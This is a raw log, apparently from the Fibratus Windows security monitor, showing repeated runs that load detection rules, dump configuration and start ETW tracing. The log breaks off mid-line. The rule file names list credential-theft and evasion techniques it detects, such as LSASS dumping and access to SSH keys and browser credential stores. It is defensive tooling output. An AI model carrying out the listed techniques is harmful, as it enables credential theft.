C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:35:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:35:01+01:00 level=info msg=bootstrapping with pid 22792. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:35:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 enable-fileio=>true flush-interval=>1s enable-image=>true enable-vamap=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-dns=>false enable-threadpool=>false enable-net=>true stack-enrichment=>true max-buffers=>36 enable-handle=>false enable-audit-api=>true enable-mem=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 max-size=>100 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ elasticsearch=>[ enabled=>false healthcheck-interval=>10s gzip-compression=>false healthcheck=>true sniff=>false timeout=>5s index-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s template-name=>fibratus flush-period=>1s trace-log=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] amqp=>[ url=>amqp://localhost:5672 passive=>false exchange=>fibratus exchange-type=>topic enabled=>false durable=>false timeout=>5s routing-key=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/] http=>[ method=>POST serializer=>json enable-gzip=>false timeout=>5s enabled=>false tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] skip-allocs=>false skip-registry=>false excluded-procs=>[] enabled=>false scan-timeout=>10s skip-files=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:35:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:35:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:35:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:35:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:35:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:35:55+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:35:55+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:35:55+01:00 level=info msg=bootstrapping with pid 19188. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:35:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true enable-threadpool=>false enable-vamap=>true enable-image=>true enable-handle=>false stack-enrichment=>true enable-audit-api=>true enable-fileio=>true enable-net=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 flush-interval=>1s min-buffers=>16 enable-mem=>false buffer-size=>512 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 formatter=>text max-size=>100 level=>info max-age=>0] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck=>true bulk-workers=>1 template-name=>fibratus trace-log=>false index-name=>fibratus sniff=>false gzip-compression=>false flush-period=>1s healthcheck-timeout=>5s enabled=>false] amqp=>[ durable=>false timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus passive=>false exchange-type=>topic delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/] http=>[ serializer=>json timeout=>5s enabled=>false tls-insecure-skip-verify=>false method=>POST endpoints=>[] enable-gzip=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false excluded-procs=>[] skip-allocs=>false excluded-files=>[] skip-mmaps=>false fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:35:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:35:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:36:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:36:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:36:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:36:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from 